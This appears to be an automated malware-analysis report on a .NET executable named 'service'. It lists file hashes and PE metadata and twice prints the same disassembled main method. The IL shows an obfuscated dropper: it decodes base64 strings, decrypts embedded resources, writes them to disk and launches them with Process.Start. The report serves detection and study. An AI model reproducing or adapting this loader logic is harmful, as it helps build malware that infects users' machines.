e1c3b51e85583197055cc32270a110e1
PE Executable | MD5: e1c3b51e85583197055cc32270a110e1 | Size: 4.53 MB | application/x-dosexec
Symbol Obfuscation Score
|
Hash | Hash Value |
|---|---|
| MD5 | e1c3b51e85583197055cc32270a110e1
|
| Sha1 | 22b77310e703ab819ac1ffd2335a93e8116b3319
|
| Sha256 | c34af1f1f238747d6839ce6857138e97d722443c4e2a794c072c236228ceaa07
|
| Sha384 | bf423a298cfc8ed143eb74de5d6a94acdb700d142f4712c67e56f09c10e3919e61fdb077e0dc0a2365ae03696dc437d9
|
| Sha512 | 4374dcd71c9fa6271e5a92c45d24f17331d2543cb03a6966a0a9e59848f30d62210e22e37ffb1b2c4f55817a8ee3ff362808550e98ebdbe1c0387a030a3e2f7c
|
| SSDeep | 98304:zK70czp1bzpQ3cVmKdezCrH/0suAAjnswHtRt1tJSHo0:mNbzp2cjOCWAIswHtRt1tJB
|
| TLSH | 4C26337C86B8C56DC9270EFBC7F996BFC6017939D146E207A85BAE9636170940843F8C
|
PeID
|
Name0 | Value |
|---|---|
| Info | PE Detect: PeReader OK (file layout) |
| Module Name | ���������� |
| Full Name | ���������� |
| EntryPoint | System.Void lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>() |
| Scope Name | ���������� |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | service |
| Assembly Version | 0.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 16 |
| Main Method | System.Void lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>() |
| Main IL Instruction Count | 166 |
| Main IL | nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aHIyOTJ1WkpCdFJia1BoL0tueWRZM1hNS3Q4UXJ5MTNPeUFRYVpNOEVZRitEWHkrTWNGazdpS3FoUzFsbTUrREpzUFdIWEVKS29KbXRpWEhqUC8xNlhOVXUzRytEVzczRVdieGk2N095YjA0ckx5SUtTdGt2K2NVaFJtTXRxVUtCejFYMnB2YnNvdUpSeUxQeXBYMjBOQ05LU2g0R2MwUHFCdkNFTDlqQzJxWWo1Z3lsam8zUXY1dGZGR282ak9HeTEwSmFNcmVSUUFOWDlxM1kraDlYYU1mOVZya0FudzQxaEJVYXBDMzlrcGVEeWdaQ1prKzhIOHY2YU91MHVKZ3RLcTdkRTM1MTJDd1V0aG1pT0gvaGJ2cEp1WlZVbFVtMU0zcWc0M3RDQkVIVG1xUmRhaS8zeHFDS21RRTM1WnlhQmRPaVlRcnFoazB1WW93YllMV0U3UTd0bG9oUnBwdmFWNDFRemJZV3V4THFmc0RxWllxTURQQlIzZlFFQjgvNm5qZDgybGRTcDU4Q282ZDJYOUZnQT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.Void lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) ldc.i4.2 <null> newarr System.String[] stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.4 <null> newarr System.String stloc.s V_5 ldloc.s V_5 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bDh0MTFzSzVpZFhkaEQ1c1l3WXdrZz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGFVVld5djNkbDdqWkVmejgva25hUT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr d2VlYmJ6bHF5bGV0a25ndA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGpZcGJEby9qdGVkSmp6VndXQ2Fndz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 ldc.i4.1 <null> ldc.i4.4 <null> newarr System.String stloc.s V_6 ldloc.s V_6 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bDh0MTFzSzVpZFhkaEQ1c1l3WXdrZz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr eDdmbUlnZThmZngxcDBaTU9mNjNDQT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr cWFwbW1qYWtydnhqY3B2YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGpZcGJEby9qdGVkSmp6VndXQ2Fndz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 stelem.ref <null> ldloc.s V_4 stloc.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr dGxhc2l5aXhmbWNqdG5qcA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() newobj System.Void System.Resources.ResourceManager::.ctor(System.String,System.Reflection.Assembly) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br IL_01D6: ldloc.2 ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VXBHQzFmYzlZeTNMVHNFNlhRRXlrRTdnd0VJM2REaGViU1Z1SmptczZzTT0= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Boolean System.String::op_Equality(System.String,System.String) brtrue IL_016D: call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.String System.Environment::GetEnvironmentVariable(System.String) br IL_0172: ldloc.0 call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.1 <null> ldelem.ref <null> call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> ldloc.1 <null> ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.2 <null> ldelem.ref <null> callvirt System.Object System.Resources.ResourceManager::GetObject(System.String) castclass System.Byte[] call System.Byte[] lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.Byte[]) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.3 <null> ldelem.ref <null> call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGpZcGJEby9qdGVkSmp6VndXQ2Fndz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_01D2: ldloc.2 ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4.2 <null> blt IL_0135: ldloc.0 ret <null> |
| Module Name | ���������� |
| Full Name | ���������� |
| EntryPoint | System.Void lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>() |
| Scope Name | ���������� |
| Scope Type | ModuleDef |
| Kind | Windows |
| Runtime Version | v4.0.30319 |
| Tables Header Version | 512 |
| WinMD Version | <null> |
| Assembly Name | service |
| Assembly Version | 0.0.0.0 |
| Assembly Culture | <null> |
| Has PublicKey | False |
| PublicKey Token | <null> |
| Target Framework | <null> |
| Total Strings | 16 |
| Main Method | System.Void lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>() |
| Main IL Instruction Count | 166 |
| Main IL | nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr aHIyOTJ1WkpCdFJia1BoL0tueWRZM1hNS3Q4UXJ5MTNPeUFRYVpNOEVZRitEWHkrTWNGazdpS3FoUzFsbTUrREpzUFdIWEVKS29KbXRpWEhqUC8xNlhOVXUzRytEVzczRVdieGk2N095YjA0ckx5SUtTdGt2K2NVaFJtTXRxVUtCejFYMnB2YnNvdUpSeUxQeXBYMjBOQ05LU2g0R2MwUHFCdkNFTDlqQzJxWWo1Z3lsam8zUXY1dGZGR282ak9HeTEwSmFNcmVSUUFOWDlxM1kraDlYYU1mOVZya0FudzQxaEJVYXBDMzlrcGVEeWdaQ1prKzhIOHY2YU91MHVKZ3RLcTdkRTM1MTJDd1V0aG1pT0gvaGJ2cEp1WlZVbFVtMU0zcWc0M3RDQkVIVG1xUmRhaS8zeHFDS21RRTM1WnlhQmRPaVlRcnFoazB1WW93YllMV0U3UTd0bG9oUnBwdmFWNDFRemJZV3V4THFmc0RxWllxTURQQlIzZlFFQjgvNm5qZDgybGRTcDU4Q282ZDJYOUZnQT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.Void lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) ldc.i4.2 <null> newarr System.String[] stloc.s V_4 ldloc.s V_4 ldc.i4.0 <null> ldc.i4.4 <null> newarr System.String stloc.s V_5 ldloc.s V_5 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bDh0MTFzSzVpZFhkaEQ1c1l3WXdrZz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGFVVld5djNkbDdqWkVmejgva25hUT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr d2VlYmJ6bHF5bGV0a25ndA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGpZcGJEby9qdGVkSmp6VndXQ2Fndz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_5 stelem.ref <null> ldloc.s V_4 ldc.i4.1 <null> ldc.i4.4 <null> newarr System.String stloc.s V_6 ldloc.s V_6 ldc.i4.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr bDh0MTFzSzVpZFhkaEQ1c1l3WXdrZz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 ldc.i4.1 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr eDdmbUlnZThmZngxcDBaTU9mNjNDQT09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 ldc.i4.2 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr cWFwbW1qYWtydnhqY3B2YQ== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 ldc.i4.3 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGpZcGJEby9qdGVkSmp6VndXQ2Fndz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) stelem.ref <null> ldloc.s V_6 stelem.ref <null> ldloc.s V_4 stloc.0 <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr dGxhc2l5aXhmbWNqdG5qcA== call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Reflection.Assembly System.Reflection.Assembly::GetExecutingAssembly() newobj System.Void System.Resources.ResourceManager::.ctor(System.String,System.Reflection.Assembly) stloc.1 <null> ldc.i4.0 <null> stloc.2 <null> br IL_01D6: ldloc.2 ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr VXBHQzFmYzlZeTNMVHNFNlhRRXlrRTdnd0VJM2REaGViU1Z1SmptczZzTT0= call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Boolean System.String::op_Equality(System.String,System.String) brtrue IL_016D: call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.0 <null> ldelem.ref <null> call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.String System.Environment::GetEnvironmentVariable(System.String) br IL_0172: ldloc.0 call System.String System.IO.Directory::GetCurrentDirectory() ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.1 <null> ldelem.ref <null> call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.3 <null> ldloc.1 <null> ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.2 <null> ldelem.ref <null> callvirt System.Object System.Resources.ResourceManager::GetObject(System.String) castclass System.Byte[] call System.Byte[] lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.Byte[]) call System.Void System.IO.File::WriteAllBytes(System.String,System.Byte[]) ldloc.0 <null> ldloc.2 <null> ldelem.ref <null> ldc.i4.3 <null> ldelem.ref <null> call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldstr NGpZcGJEby9qdGVkSmp6VndXQ2Fndz09 call System.Byte[] System.Convert::FromBase64String(System.String) callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.String lhswqpnylvpvfmrhbcbmqerl.<lhswqpnylvpvfmrhbcbmqerl>::<TheHellTower>(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_01D2: ldloc.2 ldloc.3 <null> call System.Diagnostics.Process System.Diagnostics.Process::Start(System.String) pop <null> ldloc.2 <null> ldc.i4.1 <null> add <null> stloc.2 <null> ldloc.2 <null> ldc.i4.2 <null> blt IL_0135: ldloc.0 ret <null> |